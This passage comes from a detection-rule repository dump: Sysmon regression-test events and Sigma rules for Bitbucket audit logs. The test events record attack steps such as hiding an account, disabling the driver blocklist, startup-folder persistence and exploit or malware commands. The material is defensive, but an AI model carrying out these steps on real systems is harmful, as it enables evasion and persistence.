\"HKU\\\\S-1-5-21-3960063115-309473240-3247002503-500\\\\Software\\\\Sysinternals\\\\PsService\\\\EulaAccepted\",\n \"Details\": \"DWORD (0x00000001)\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_pua_sysinternals_renamed_execution_via_eula/info.yml",
"content": "id: a977324d-5006-46e6-bb1c-9d8b13344f00\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: f50f3c09-557d-492d-81db-9064a8d4e211\n title: Suspicious Execution Of Renamed Sysinternals Tools - Registry\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/registry/registry_set/registry_set_pua_sysinternals_renamed_execution_via_eula/f50f3c09-557d-492d-81db-9064a8d4e211.evtx\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_pua_sysinternals_susp_execution_via_eula/c7da8edc-49ae-45a2-9e61-9fd860e4e73d.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 13,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 13,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-25T23:59:35.308812Z\"\n }\n },\n \"EventRecordID\": 16567695,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"SetValue\",\n \"UtcTime\": \"2025-10-25 23:59:35.300\",\n \"ProcessGuid\": \"5AA13A44-6465-68FD-EF3E-000000004002\",\n \"ProcessId\": 7500,\n \"Image\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\PsService.exe\",\n \"TargetObject\": \"HKU\\\\S-1-5-21-3960063115-309473240-3247002503-500\\\\Software\\\\Sysinternals\\\\PsService\\\\EulaAccepted\",\n \"Details\": \"DWORD (0x00000001)\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_pua_sysinternals_susp_execution_via_eula/info.yml",
"content": "id: 55e4036d-e026-4110-bf9a-a1037f28edbb\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: c7da8edc-49ae-45a2-9e61-9fd860e4e73d\n title: PUA - Sysinternals Tools Execution - Registry\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/registry/registry_set/registry_set_pua_sysinternals_susp_execution_via_eula/c7da8edc-49ae-45a2-9e61-9fd860e4e73d.evtx\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_special_accounts/f8aebc67-a56d-4ec9-9fbe-7b0e8b7b4efd.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 13,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 13,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-31T05:06:45.377630Z\"\n }\n },\n \"EventRecordID\": 657154,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3080,\n \"ThreadID\": 4948\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"srv-01.midgardnet.tech\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"SetValue\",\n \"UtcTime\": \"2025-10-31 05:06:45.377\",\n \"ProcessGuid\": \"14207D89-43E5-6904-4506-000000004002\",\n \"ProcessId\": 5244,\n \"Image\": \"C:\\\\Windows\\\\system32\\\\reg.exe\",\n \"TargetObject\": \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\Userlist\\\\AtomicOperator$\",\n \"Details\": \"DWORD (0x00000000)\",\n \"User\": \"MIDGARDNET\\\\SwachchhandaP\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_special_accounts/info.yml",
"content": "id: 3c14b160-a7f5-49a4-beb2-575b70f599b9\ndescription: N/A\ndate: 2025-10-31\nauthor: SigmaHQ Team\nrule_metadata:\n - id: f8aebc67-a56d-4ec9-9fbe-7b0e8b7b4efd\n title: Hiding User Account Via SpecialAccounts Registry Key\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/registry/registry_set/registry_set_special_accounts/f8aebc67-a56d-4ec9-9fbe-7b0e8b7b4efd.evtx\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_susp_user_shell_folders/9c226817-8dc9-46c2-a58d-66655aafd7dc.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 13,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 13,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2026-01-05T06:29:01.086253Z\"\n }\n },\n \"EventRecordID\": 74886,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3636,\n \"ThreadID\": 4340\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"SetValue\",\n \"UtcTime\": \"2026-01-05 06:29:01.070\",\n \"ProcessGuid\": \"0197231E-7211-694F-D001-000000000C00\",\n \"ProcessId\": 9524,\n \"Image\": \"C:\\\\WINDOWS\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\n \"TargetObject\": \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\User Shell Folders\\\\Common Startup\",\n \"Details\": \"C:\\\\Test\\\\calc.exe\",\n \"User\": \"swachchhanda\\\\xodih\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_susp_user_shell_folders/info.yml",
"content": "id: 0a756043-828b-47af-9863-3eeb6939c54d\ndescription: N/A\ndate: 2026-01-05\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: 9c226817-8dc9-46c2-a58d-66655aafd7dc\n title: Modify User Shell Folders Startup Value\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/registry/registry_set/registry_set_susp_user_shell_folders/9c226817-8dc9-46c2-a58d-66655aafd7dc.evtx\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_vulnerable_driver_blocklist_disable/d526c60a-e236-4011-b165-831ffa52ab70.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 13,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 13,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-12-23T02:22:32.926365Z\"\n }\n },\n \"EventRecordID\": 90931,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3320,\n \"ThreadID\": 4216\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"SetValue\",\n \"UtcTime\": \"2025-12-23 02:22:32.922\",\n \"ProcessGuid\": \"0197231E-FCE8-6949-4010-000000000D00\",\n \"ProcessId\": 17728,\n \"Image\": \"C:\\\\WINDOWS\\\\system32\\\\reg.exe\",\n \"TargetObject\": \"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\CI\\\\Config\\\\VulnerableDriverBlocklistEnable\",\n \"Details\": \"DWORD (0x00000000)\",\n \"User\": \"swachchhanda\\\\xodih\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/registry/registry_set/registry_set_vulnerable_driver_blocklist_disable/info.yml",
"content": "id: 329ecd6e-38a9-4bab-a75f-66854af61019\ndescription: N/A\ndate: 2025-12-23\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: d526c60a-e236-4011-b165-831ffa52ab70\n title: Windows Vulnerable Driver Blocklist Disabled\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/registry/registry_set/registry_set_vulnerable_driver_blocklist_disable/d526c60a-e236-4011-b165-831ffa52ab70.evtx\n"
},
{
"path": "regression_data/rules/windows/sysmon/sysmon_config_modification/8ac03a65-6c84-4116-acad-dc1558ff7a77.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 16,\n \"Version\": 3,\n \"Level\": 4,\n \"Task\": 16,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-24T23:33:08.092105Z\"\n }\n },\n \"EventRecordID\": 11738,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 8932,\n \"ThreadID\": 1540\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-21-3960063115-309473240-3247002503-500\"\n }\n }\n },\n \"EventData\": {\n \"UtcTime\": \"2025-10-24 23:33:08.088\",\n \"Configuration\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\sysmonconfig-trace.xml\",\n \"ConfigurationFileHash\": \"SHA256=B977839264146AFDE215D41182F78F153F9198EBA8EF0B88426239C33FBDA945\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/sysmon/sysmon_config_modification/info.yml",
"content": "id: 54f3ccdd-e1f9-4b9f-8dda-b1bdcb13d6ba\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 8ac03a65-6c84-4116-acad-dc1558ff7a77\n title: Sysmon Configuration Change\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/sysmon/sysmon_config_modification/8ac03a65-6c84-4116-acad-dc1558ff7a77.evtx\n"
},
{
"path": "regression_data/rules-emerging-threats/2025/Exploits/CVE-2025-55182/proc_creation_win_exploit_cve_2025_55182_susp_nodejs_server_child_process/271de298-cc0e-4842-acd8-079a0a99ea65.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-12-06T21:11:02.649150Z\"\n }\n },\n \"EventRecordID\": 67583,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3904,\n \"ThreadID\": 4272\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-12-06 21:11:02.632\",\n \"ProcessGuid\": \"0197231E-9BE6-6934-5301-000000000B00\",\n \"ProcessId\": 3412,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"FileVersion\": \"10.0.26100.2454 (WinBuild.160101.0800)\",\n \"Description\": \"Windows Command Processor\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"Cmd.Exe\",\n \"CommandLine\": \"C:\\\\WINDOWS\\\\system32\\\\cmd.exe /d /s /c \\\"whoami\\\"\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\xodih\\\\Downloads\\\\CVE-2025-55182-main\\\\CVE-2025-55182-main\\\\test-server\\\\\",\n \"User\": \"swachchhanda\\\\xodih\",\n \"LogonGuid\": \"0197231E-99CA-6934-A8EB-010000000000\",\n \"LogonId\": \"0x1eba8\",\n \"TerminalSessionId\": 1,\n \"IntegrityLevel\": \"Medium\",\n \"Hashes\": \"MD5=352B525E9C26CB92693899528FE007C2,SHA256=1F1D918EC49E0B7C59B704FF412E1A6E224DA81C08CDA657E1CB482ABAAC146C,IMPHASH=94F3EFC2DF40ECD7229B904540DD83CF\",\n \"ParentProcessGuid\": \"0197231E-9B6B-6934-2B01-000000000B00\",\n \"ParentProcessId\": 1092,\n \"ParentImage\": \"C:\\\\Users\\\\xodih\\\\AppData\\\\Local\\\\Temp\\\\bun-node-274e01c73\\\\node.exe\",\n \"ParentCommandLine\": \"C:\\\\Users\\\\xodih\\\\AppData\\\\Local\\\\Temp\\\\bun-node-274e01c73\\\\node.exe C:\\\\Users\\\\xodih\\\\Downloads\\\\CVE-2025-55182-main\\\\CVE-2025-55182-main\\\\test-server\\\\node_modules\\\\next\\\\dist\\\\server\\\\lib\\\\start-server.js\",\n \"ParentUser\": \"swachchhanda\\\\xodih\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules-emerging-threats/2025/Exploits/CVE-2025-55182/proc_creation_win_exploit_cve_2025_55182_susp_nodejs_server_child_process/info.yml",
"content": "id: b6598f67-233f-4e7e-839d-2379a44fc63e\ndescription: N/A\ndate: 2025-12-06\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: 271de298-cc0e-4842-acd8-079a0a99ea65\n title: Suspicious Child Process from Node.js Server - React2Shell\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n path: regression_data/rules-emerging-threats/2025/Exploits/CVE-2025-55182/proc_creation_win_exploit_cve_2025_55182_susp_nodejs_server_child_process/271de298-cc0e-4842-acd8-079a0a99ea65.evtx\n"
},
{
"path": "regression_data/rules-emerging-threats/2025/Malware/Grixba/proc_creation_win_malware_grixba_recon/af688c76-4ce4-4309-bfdd-e896f01acf27.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-11-26T05:11:27.927693Z\"\n }\n },\n \"EventRecordID\": 142649,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3544,\n \"ThreadID\": 4264\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-11-26 05:11:27.908\",\n \"ProcessGuid\": \"0197231E-8BFF-6926-1308-000000000D00\",\n \"ProcessId\": 10116,\n \"Image\": \"C:\\\\Users\\\\xodih\\\\Downloads\\\\GRB_NET.exe\",\n \"FileVersion\": \"1.1.3.0\",\n \"Description\": \"GRB_NT\",\n \"Product\": \"GRB_NT\",\n \"Company\": \"Zabbix\",\n \"OriginalFileName\": \"GRB_NET.exe\",\n \"CommandLine\": \"GRB_NET.exe -m:scan -i:f -d:list.txt\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\xodih\\\\Downloads\\\\\",\n \"User\": \"swachchhanda\\\\xodih\",\n \"LogonGuid\": \"0197231E-B736-6923-645E-3B0000000000\",\n \"LogonId\": \"0x3b5e64\",\n \"TerminalSessionId\": 1,\n \"IntegrityLevel\": \"Medium\",\n \"Hashes\": \"MD5=88DF27B6E794E3FD5F93F28B1CA1D3D0,SHA256=F8810179AB033A9B79CD7006C1A74FBCDE6ED0451C92FBB8C7CE15B52499353A,IMPHASH=F34D5F2D4577ED6D9CEEC516C1F5A744\",\n \"ParentProcessGuid\": \"0197231E-A1BD-6925-C705-000000000D00\",\n \"ParentProcessId\": 7972,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\WINDOWS\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"swachchhanda\\\\xodih\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules-emerging-threats/2025/Malware/Grixba/proc_creation_win_malware_grixba_recon/info.yml",
"content": "id: 78005a80-bbfd-475c-a4b2-f562a7b0fecf\ndescription: N/A\ndate: 2025-11-27\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: af688c76-4ce4-4309-bfdd-e896f01acf27\n title: Grixba Malware Reconnaissance Activity\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n path: regression_data/rules-emerging-threats/2025/Malware/Grixba/proc_creation_win_malware_grixba_recon/af688c76-4ce4-4309-bfdd-e896f01acf27.evtx\n"
},
{
"path": "regression_data/rules-threat-hunting/windows/image_load/image_load_win_werfaultsecure_dbgcore_dbghelp_load/8a2f4b1c-3d5e-4f7a-9b2c-1e4f6d8a9c2b.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 7,\n \"Version\": 3,\n \"Level\": 4,\n \"Task\": 7,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-11-27T07:40:10.165324Z\"\n }\n },\n \"EventRecordID\": 571146,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3544,\n \"ThreadID\": 4272\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-11-27 07:40:10.132\",\n \"ProcessGuid\": \"0197231E-005A-6928-A50B-000000000D00\",\n \"ProcessId\": 4460,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\WerFaultSecure.exe\",\n \"ImageLoaded\": \"C:\\\\Windows\\\\System32\\\\dbgcore.dll\",\n \"FileVersion\": \"10.0.26100.7019 (WinBuild.160101.0800)\",\n \"Description\": \"Windows Core Debugging Helpers\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"DBGCORE.DLL\",\n \"Hashes\": \"SHA1=5E4F2C531C549BB72A658ED9DD16D491EDDBB286,MD5=FAB4B30C1C4F0A9202A7B42DCF1729DC,SHA256=1B48A4F8D20026E6C56E3AB4CC4788FA6425C8A75F8D91C2869FA533DE6B209E,IMPHASH=C324AAAC01F0F75C811E1F80C41B860C\",\n \"Signed\": \"true\",\n \"Signature\": \"Microsoft Windows\",\n \"SignatureStatus\": \"Valid\",\n \"User\": \"swachchhanda\\\\xodih\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules-threat-hunting/windows/image_load/image_load_win_werfaultsecure_dbgcore_dbghelp_load/info.yml",
"content": "id: 63b16abe-2d5c-4a2f-b0ae-f1bc4580e40c\ndescription: N/A\ndate: 2025-11-27\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: 8a2f4b1c-3d5e-4f7a-9b2c-1e4f6d8a9c2b\n title: WerFaultSecure Loading DbgCore or DbgHelp - EDR-Freeze\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n path: regression_data/rules-threat-hunting/windows/image_load/image_load_win_werfaultsecure_dbgcore_dbghelp_load/8a2f4b1c-3d5e-4f7a-9b2c-1e4f6d8a9c2b.evtx\n"
},
{
"path": "rules/README.md",
"content": "TBD"
},
{
"path": "rules/application/bitbucket/audit/bitbucket_audit_full_data_export_triggered.yml",
"content": "title: Bitbucket Full Data Export Triggered\nid: 195e1b9d-bfc2-4ffa-ab4e-35aef69815f8\nstatus: test\ndescription: Detects when full data export is attempted.\nreferences:\n - https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html\n - https://confluence.atlassian.com/adminjiraserver0811/importing-and-exporting-data-1019391889.html\nauthor: Muhammad Faisal (@faisalusuf)\ndate: 2024-02-25\ntags:\n - attack.collection\n - attack.t1213.003\nlogsource:\n product: bitbucket\n service: audit\n definition: 'Requirements: \"Advance\" log level is required to receive these audit events.'\ndetection:\n selection:\n auditType.category: 'Data pipeline'\n auditType.action: 'Full data export triggered'\n condition: selection\nfalsepositives:\n - Legitimate user activity.\nlevel: high\n"
},
{
"path": "rules/application/bitbucket/audit/bitbucket_audit_global_permissions_change_detected.yml",
"content": "title: Bitbucket Global Permission Changed\nid: aac6c4f4-87c7-4961-96ac-c3fd3a42c310\nstatus: test\ndescription: Detects global permissions change activity.\nreferences:\n - https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html\n - https://confluence.atlassian.com/bitbucketserver/global-permissions-776640369.html\nauthor: Muhammad Faisal (@faisalusuf)\ndate: 2024-02-25\ntags:\n - attack.persistence\n - attack.privilege-escalation\n - attack.t1098\nlogsource:\n product: bitbucket\n service: audit\n definition: 'Requirements: \"Advance\" log level is required to receive these audit events.'\ndetection:\n selection:\n auditType.category: 'Permissions'\n auditType.action:\n - 'Global permission remove request'\n - 'Global permission removed'\n - 'Global permission granted'\n - 'Global permission requested'\n condition: selection\nfalsepositives:\n - Legitimate user activity.\nlevel: medium\n"
},
{
"path": "rules/application/bitbucket/audit/bitbucket_audit_global_secret_scanning_rule_deleted.yml",
"content": "title: Bitbucket Global Secret Scanning Rule Deleted\nid: e16cf0f0-ee88-4901-bd0b-4c8d13d9ee05\nstatus: test\ndescription: Detects Bitbucket global secret scanning rule deletion activity.\nreferences:\n - https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html\n - https://confluence.atlassian.com/bitbucketserver/secret-scanning-1157471613.html\nauthor: Muhammad Faisal (@faisalusuf)\ndate: 2024-02-25\ntags:\n - attack.defense-evasion\n - attack.t1562.001\nlogsource:\n product: bitbucket\n service: audit\n definition: 'Requirements: \"Basic\" log level is required to receive these audit events.'\ndetection:\n selection:\n auditType.category: 'Global administration'\n auditType.action: 'Global secret scanning rule deleted'\n condition: selection\nfalsepositives:\n - Legitimate user activity.\nlevel: medium\n"
},
{
"path": "rules/application/bitbucket/audit/bitbucket_audit_global_ssh_settings_change_detected.yml",
"content": "title: Bitbucket Global SSH Settings Changed\nid: 16ab6143-510a-44e2-a615-bdb80b8317fc\nstatus: test\ndescription: Detects Bitbucket global SSH access configuration changes.\nreferences:\n - https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html\n - https://confluence.atlassian.com/bitbucketserver/enable-ssh-access-to-git-repositories-776640358.html\nauthor: Muhammad Faisal (@faisalusuf)\ndate: 2024-02-25\ntags:\n - attack.lateral-movement\n - attack.defense-evasion\n - attack.t1562.001\n - attack.t1021.004\nlogsource:\n product: bitbucket\n service: audit\n definition: 'Requirements: \"Advance\" log level is required to receive these audit events.'\ndetection:\n selection:\n auditType.category: 'Global administration'\n auditType.action: 'SSH settings changed'\n condition: selection\nfalsepositives:\n - Legitimate user activity.\nlevel: medium\n"
},
{
"path": "rules/application/bitbucket/audit/bitbucket_audit_log_configuration_update_detected.yml",
"content": "title: Bitbucket Audit Log Configuration Updated\nid: 6aa12161-235a-4dfb-9c74-fe08df8d8da1\nstatus: test\ndescription: Detects changes to the bitbucket audit log configuration.\nreferences:\n - https://confluence.atlassian.com/bitbucketserver/view-and-configure-the-audit-log-776640417.html\nauthor: Muhammad Faisal (@faisalusuf)\ndate: 2024-02-25\ntags:\n - attack.defense-evasion\n - attack.t1562.001\nlogsource:\n product: bitbucket\n service: audit\n definition: 'Requirements: \"Basic\" log level is required to receive these audit events.'\ndetection:\n selection:\n auditType.category: 'Auditing'\n auditType.action: 'Audit log configuration updated'\n condition: selection\nfalsepositives:\n - Legitimate user activity.\nlevel: medium\n"
},
{
"path": "rules/application/bitbucket/audit/bitbucket_audit_project_secret_scanning_allowlist_added.yml",
"content": "title: Bitbucket Project Secret Scanning Allowlist Added\nid: 42ccce6d-7bd3-4930-95cd-e4d83fa94a30\nstatus: test\ndescription: Detects when a secret scanning allowlist rule is added for projects.\nreferences:\n - https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html\n - https://confluence.atlassian.com/bitbucketserver/secret-scanning-1157471613.html\nauthor: Muhammad Faisal (@faisalusuf)\ndate: 2024-02-25\ntags:\n - attack.defense-evasion\n - attack.t1562.001\nlogsource:\n product: bitbucket\n service: audit\n definition: 'Requirements: \"Basic\" log level is required to receive these audit events.'\ndetection:\n selection:\n auditType.category: 'Projects'\n auditType.action: 'Project secret scanning allowlist rule added'\n condition: selection\nfalsepositives:\n - Legitimate user activity.\nlevel: low\n"
},
{
"path": "rules/application/bitbucket/audit/bitbucket_audit_secret_scanning_exempt_repository_detected.yml",
"content": "title: Bitbucket Secret Scanning Exempt Repository Added\nid: b91e8d5e-0033-44fe-973f-b730316f23a1\nstatus: test\ndescription: Detects when a repository is exempted from secret scanning feature.\nreferences:\n - https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html\n - https://confluence.atlassian.com/bitbucketserver/secret-scanning-1157471613.html\nauthor: Muhammad Faisal (@faisalusuf)\ndate: 2024-02-25\ntags:\n - attack.defense-evasion\n - attack.t1562.001\nlogsource:\n product: bitbucket\n service: audit\n definition: 'Requirements: \"Basic\" log level is required to receive these audit events.'\ndetection:\n selection:\n auditType.category: 'Repositories'\n auditType.action: 'Secret scanning exempt repository added'\n condition: selection\nfalsepositives:\n - Legitimate user activity.\nlevel: high\n"
},
{
"path": "rules/application/bitbucket/audit/bitbucket_audit_secret_scanning_rule_deleted.yml",
